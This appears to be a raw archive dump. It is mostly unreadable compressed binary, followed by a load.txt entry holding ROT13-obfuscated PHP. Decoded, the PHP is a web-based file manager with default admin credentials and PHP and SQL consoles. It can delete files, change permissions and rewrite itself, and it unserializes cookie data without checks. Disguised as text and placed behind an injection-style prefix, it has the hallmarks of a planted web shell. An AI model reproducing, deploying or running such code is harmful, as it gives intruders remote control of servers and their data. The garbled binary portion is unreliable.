Rw�N�%����l頝�N}�q��&�n:��Rf�[�#C>�Ψ�A9��Fg�h`*��#�H�T�/V�uN�����d�^,��]��P���r��y5�F�EA��oe�*�W�۶X^�UvT��K�5a2V7��ʤU�(�b��O��A����n�~�L#��7��t[�G�X8fCy��j�7�
���K��T���xw�āw�JX�໽��;�7����m[�+6Ӭ7�'���`���g�Pr����\Ţi$T�|)6�W��J.8�{1�M�j�f�n�N(!�����]��{��v$���w([�XI���ޮ�p�����]��J�F�M�X�t[S9X~��M)We��ͨ��Іz�
̄��v��Z�H����b�zS�	?
�g��D<�ꖻlh��đ�a�փU�"�eI���[g^��Ʋ�DSI$'suW^���0,$S�^��LCQ98/>�f�:�&�9�cUN,�#5�F}���Ӌb{*�#c�F��
�ks7�n�~Om�{^VT3���'J�D��*�A��O���AW���Dw����a_�%v؍��^A�O�S�@�6���Eb؝$�R!؟�W�CބȎ
�nx^��e+%��d94_�{�(��g��$�;S��ݍګH/�HA �i7�&z��(	�NEd��
���i)usA���o�!Wn��n�v�hV�º�&��{)ϲ�ܶ��u�uo7��i��p���ˏS�`�q�d��j;�����u�9�u�m��g�P9�5'�L�Zn%�r��0C;�r�A+�f����\~�6��N3��un՛�X~|�;���Uf�G�RNm���v�Zw%n��L#�T:��T]˥fv�)��P\+Ŷ���96�XC;���Vej�b~��J���Dʹ��N՛�z@��nZ�jA����FZ�H��yr6�s�N	�P��v-��J�Fh�?�r�a�$V;���1y�M%�[a��6�B��
V֭A�����2ZXn��jh^.��
���b�Ie������aFhN��Q^mN��T�n�t�|�3�7R��U4�#.F�	,�*�B1��Dk�v�J����)UfĹ�(~d����ē�"
��l��ޱ?�#g?�^Ҩ&�@l8�f������K���MYJ�_p��=!G�
��&�!��p�������z@�#����t�@>ڽDO�!W�(��c��3�<F�=�<�\�����t��{_uF.���_�-w$4������+�5aק���-)��bJ�#/��o�û28ʩ…�R/i�'��H.�ͱ�Ũ/��
�
-T�-���$b�^���va�{��#z�1���^w�sz��`�s�0�W$��a6�2fk

�"B�&���SDm������K�Z
�"vy|.��g<��JP�@=u.
�4HA���/��(o�)h��C)O��/��RF��$������B)��@����`n�o��"������0ȗ@Q9�
�~qwZ
���8Ȉ1f+�K`�5Q�>~a?����$���e�GAZe��!�h�CSb�oy��y��Jb%=�P&���7�5��3_�R���,�9�̀_��^�p1{7xs�K��W�qI_5#�%C���/`��E6��_,�5�g[6_�%��[8䃼��� �mA^����^0F4՗Zڏ�pd�C�΃��Nѡ��luE�T[»2�my���U�A��K�z���N_�j��ɺ�-&���Tl����f�9�O��m^|�?�A_��`���_��)}�G��s�ח{���^�׋���H?!GA���ѲL���Y��9 g����p����XkH:d�r\���0��l +������6�!Ǐ�C֧�����S$:r��^�H�c���1�_��M�lI�K }�;�lI���8md͋�t���N��Nj���G��mrI~�|C��ZSߖ_��	{����k*�)��߮C�!^G��5C6�e�1@�7�i��+B%�n�ϙ���EGGsT�޲�.�뽠�d`�����Ї��e���)/�&H�D1Vz�w����F����>*Uy�%�
d�H<�J�5�h��f*4LI����4Чi0`<C�G'�bl��;[@rx7a�8�!Ƽ�����_�f��é����&��`���G��"j��;���AȨ�[�5#�Dџ������Ɉ=���\�bѣf�#Y��8g�N0$�����:{��i7�d�9�
�'3n�,�웫��c`#��hڠ&�C���i�E��b��a����0�!-sIb��~�|p���4<��U�}��u~9���3�9\
?c|��%�)˃"��5e����~��6��j��mH74����;�	bccv�x޹�W���H'h��?��(�|��I��vi\���t�'�L��&�"���,�lU̱0��ޮ�{|���جeqL�آ�o{�$���v ����$Ґ��]�y�m�h	8,ϕ��ϖy�	m��܇C��8G�CU�@A����Yarʈ摠���{]0>4��	�WW��
�����#�h0ǃ����G�AWCw�xmA��h��#�8���6|�B��tH'��~U���u`pj�젴E"�_�.f�h��і�NOV�\AC��‰˗�Jx�y���?��k�)�2�
�����Teu#�h^V5D��q��
2����Z2W N��}��н�<=b
�tn!�!�}eƜ�da�N4���	F�4�d�[��CÏ��1x���V���*k8N��2<6%h����zF�y=���!��Ué����|yv� K�}�e�e8Hc�̈��DغA �w��In� }�Q֡"HO$�ea����5K�p5h
�pdƯ�2����5�i�n'ymD�ǧ��$Ksx��x��`Eސ���ɕ�{�Ǵ�`�)�/'u`I���W��
������$�Ed
����a/�Y`�&'����/9���q�{N"�6O�3c�Y̨�?k��0d�hG���-�Ta�%�9�TPh���sH}�T^���k� ��(㵜�L��Q4._l��!\Z��K��Q.a�rIo� �~�L�ɜ�xr�ޥ�c?���;l����� �v�%"�p�}C��<B�M1��:�a˕{O/��Y�2>��T{���E���9Zr?@���}��/���s��A�HA��섚��=J������-���m{�^dtl͇1� �%��yŐ�l�5Y� �t�SM�n%!D.W4�D��$7�R��W�Fk�낞�;�l��w}�E��1��s}r`�_��W�Ç/��𽯡�s���;>u/�T<
�i]R9N�݈c^z���N|�)�˯��y������7��Ik<��wx���j&2��4f>�a�*��ʨ6u�����Q�d����db�;�XG��#)r<��:�Z�l�7|F�y�|@�f�y��9:���ֺ��~��t8tl�X�C��9�g<��3�Kk��c�@W�n���9EW�Ie�:L��e��Kx�iJ��ALs::��L�%
����o��f���8M�=�שڳmE~ �gV�� e��Z(��r�I�'�J  ��P����O��3O;9�exRQ��A���mk)v~=�ڢ)�.�k-�:���
�fd�'20��f�[�hF�C�Di�M�̇���<�Dj��|7�G�m>��<{_q��
chMA����D�z�㺧�[��ޛ�m�Ss{!��0-]�3���W�˷˯�^�œ�����pQ�
2*(I� .�d��Z�4�ڸ�BE�8<�F�ѲB�M�6kǦ˚��a�-6�w=AE7@��h�}�&���E(}��Ƣ�,I�Jt@K��P�a��
��@�޳�oe��-�����2Y_���NW�����i˲�3�V�R���45�!-
�{p�2F������(M^KWWx���~�W`Jʓ�qvY�6J�_���-y�1f����Ц���]2@z�–����iu�&�K{��kE��R�w�����'J�O�N�g&`�Tʘ�(�O�g��U�z�@������<ǂ,�v&���3�*�A/�8a��z֧��D�su
xJݙ�"�I��/B�b�Ąy���;]~~^|�N��e|�l�S�p�32ۜӏ=,����B�=�,6hp:�C�s�Kq����q�U�1Q�Y?-�*�8l~�]���>���pb� ���k;��f$����/I�w���'��m�hb���K�׵Z���H5.ul�n�Ʀ�}3���Aކ��N�O�O��݂�G�$�|5�����P��֨��O�&�ͫ��{��/R���+vk|��-K
�1�Y�`�m��^6m�;��D�s�e�0`�tF�/i�(j��i�C�_���o��5,C:rpVd�͉]�fە���s���E��<Kũy��0)p(��Y��z��)�k����%ǂ���psB��@�Ԟ,H���`���=惭*���=O��"�>�Ee��kI�d�ʐ
<
���C*_2ԣ=p��od���54��
\Z�
o�"5��ru�^�uz�u3|���'M��{Kf���
��&�Ι�����"N���.u��ԅ{����R'�Ppy�uF�>�����_T��9��ژ)��}x�oA`f�f~�ok?���ε��>ǡ?�������]�{���T�T��/�H
q"�3tH��TxF���4`Y�N���}d�W��(���zX�&c*Ϻ�%��yЕ�	r�tj��
�I���_P=��F���u|��'U՝�+:{��5��.�
�6��{�Z����P�˜��E�\hp]���ʆ�h;.O��	��ٓ��@�~���#��VG2����R��{�sy��c"��A� ���H���;C�l�;��{`����NV
��ĉ��qjh�\`�
�ǽ�����8F�c��~����uطGD�牠v𼤿l���Z�-�=u�r9o��,���m�嶾^�-��p6^���05"�P�ڬ�o�M�
x^1n{�Kl�y�ɓ�b�1`�5O�}�v�iJ$��BN���
��RVӗ1�-S�XH�����_�x������Ȳ�83Z9>����0~���a$sh��b�ꋹ�e��N�;@�ǰ:����X�i_Ċ셐!���t��>���>u�+ef�\b
�jb_۟A��w��>8N��� ���)�����?
e��(Z<��q5�<�U�?6t.G*��G~||�zM,g��f�Ԭ������A"Ki,�
�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��HPK���Z�	��A�Aload.txtnu�[���rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
